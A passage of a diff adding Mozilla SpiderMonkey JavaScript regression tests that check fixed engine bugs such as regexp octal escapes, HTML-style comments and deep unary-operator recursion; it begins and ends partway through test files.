+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-308566.js b/js/src/tests/js1_5/Regress/regress-308566.js
new file mode 100644
index 000000000..d3bc205f4
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-308566.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 308566;
+var summary = 'Do not treat octal sequence as regexp backrefs in strict mode';
+var actual = 'No error';
+var expect = 'No error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+options('strict');
+options('werror');
+
+try
+{
+ var c = eval("/\260/");
+}
+catch(e)
+{
+ actual = e + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-310295.js b/js/src/tests/js1_5/Regress/regress-310295.js
new file mode 100644
index 000000000..1e0aaacc4
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-310295.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310295;
+var summary = 'Do not crash on JS_ValueToString';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var tmp = 23948730458647527874392837439299837412374859487593;
+
+tmp = new Number(tmp);
+tmp = tmp.valueOf()
+ tmp = String(tmp);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-310607.js b/js/src/tests/js1_5/Regress/regress-310607.js
new file mode 100644
index 000000000..13d2449ff
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-310607.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310607;
+var summary = 'Do not crash iterating over Object.prototype';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var f = new Foo();
+f.go("bar");
+
+function Foo() {
+ this.go = function(prototype) {
+ printStatus("Start");
+ for(var i in Object.prototype) {
+ printStatus("Here");
+ eval("5+4");
+ }
+ printStatus("End");
+ };
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-310993.js b/js/src/tests/js1_5/Regress/regress-310993.js
new file mode 100644
index 000000000..da98bb80b
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-310993.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310993;
+var summary = 'treat &lt;! as the start of a comment to end of line';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'foo';
+actual = 'foo';
+
+if (false) <!-- dumbdonkey -->
+ actual = 'bar';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-311071.js b/js/src/tests/js1_5/Regress/regress-311071.js
new file mode 100644
index 000000000..b563f7163
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-311071.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311071;
+var summary = 'treat &lt;! as the start of a comment to end of line';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'foo';
+actual = 'foo'; <!-- comment hack -->; actual = 'bar';
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-311629.js b/js/src/tests/js1_5/Regress/regress-311629.js
new file mode 100644
index 000000000..6a4250445
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-311629.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311629;
+var summary = 'Prevent recursive death in UnaryExp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 